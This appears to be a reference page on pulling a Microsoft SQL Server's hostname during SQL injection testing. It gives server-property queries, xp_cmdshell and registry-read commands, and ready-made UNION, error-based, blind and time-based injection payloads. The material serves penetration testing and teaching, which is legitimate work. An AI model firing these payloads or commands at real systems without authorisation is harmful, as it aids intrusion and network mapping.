Server Hostname

Retrieving the server hostname during SQL injection testing can provide valuable information about the target environment. This information can be useful for network mapping, lateral movement, and understanding the server's environment.

Methods to Retrieve Server Hostname

Microsoft SQL Server provides several functions and system views that can reveal the hostname:

Using @@SERVERNAME Global Variable

The simplest method is to use the @@SERVERNAME global variable:

SELECT @@SERVERNAME;

This returns the server name stored in sys.servers at setup, followed by \INSTANCE for a named instance. It does not change automatically when the machine is renamed, so it can be stale.

Using SERVERPROPERTY Function

The SERVERPROPERTY function provides more detailed server information:

-- Windows computer name (the virtual server name on a failover cluster)
SELECT SERVERPROPERTY('MachineName');

-- NetBIOS name of the physical node the instance is running on
SELECT SERVERPROPERTY('ComputerNamePhysicalNetBIOS');

-- Current machine name plus instance name (SERVER\INSTANCE)
SELECT SERVERPROPERTY('ServerName');

Using Host and Instance Information

For more comprehensive information:

-- Get combined server instance information
SELECT @@SERVERNAME AS ServerInstance,
       SERVERPROPERTY('MachineName') AS HostName,
       SERVERPROPERTY('InstanceName') AS InstanceName;  -- NULL for the default instance

HOST_NAME() is not the server name: it returns the workstation name the client sent when connecting (the web server, in a typical SQL injection).

Additional System Information

In SQL Server, you can also retrieve other system information that may include or be related to the hostname:

System Environment Variables

Requires stacked queries, sysadmin (or an xp_cmdshell proxy account) and xp_cmdshell enabled; Windows commands, not available on SQL Server on Linux:

-- Get all environment variables with xp_cmdshell
EXEC xp_cmdshell 'set';

-- Get computer name
EXEC xp_cmdshell 'echo %COMPUTERNAME%';

System Information via Registry

xp_regread is undocumented and reads the Windows registry. It is often executable by non-sysadmin logins, but newer versions restrict which keys they can read:

-- Get the computer name from the registry (stacked query)
EXEC master.dbo.xp_regread
    @rootkey = 'HKEY_LOCAL_MACHINE',
    @key = 'SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName',
    @value_name = 'ComputerName';

Network Configuration

The server's IP address and port of the current connection (requires VIEW SERVER STATE, or VIEW SERVER PERFORMANCE STATE on SQL Server 2022 and later):

SELECT local_net_address, local_tcp_port, client_net_address
FROM sys.dm_exec_connections WHERE session_id = @@SPID;

Practical Injection Examples

Here are examples of how to use these techniques in SQL injection scenarios:

Basic UNION Injection

-- String context, original query returns 3 columns, the second one a string
' UNION SELECT NULL, @@SERVERNAME, NULL--

Error-based Extraction

-- Fails with: Conversion failed when converting the nvarchar value 'SQLSRV01' to data type int.
' AND 1=CONVERT(int, @@SERVERNAME)--

Blind Extraction

-- Needs a value that returns a row: the row disappears when the condition is false
admin' AND SUBSTRING(@@SERVERNAME, 1, 1) = 'S'--

Time-based Verification

-- Stacked statement, see /mssql/timing
' IF SUBSTRING(@@SERVERNAME, 1, 1) = 'S' WAITFOR DELAY '0:0:5'--

Hostname Information in Different SQL Server Contexts

Different deployment types can affect what hostname information is available:

Security Implications

Exposing the hostname can have security implications:

• Reveals internal naming conventions
• Might expose domain information
• Can help attackers target specific hosts in a network
• May reveal virtualization or containerization details

Notes

1. Some hostname retrieval methods require elevated privileges
2. In cloud-hosted SQL Server instances, hostname information might be virtualized
3. SQL Server may return different formats of the hostname depending on the method used
4. The hostname information might be useful for correlating with other collected data for a comprehensive attack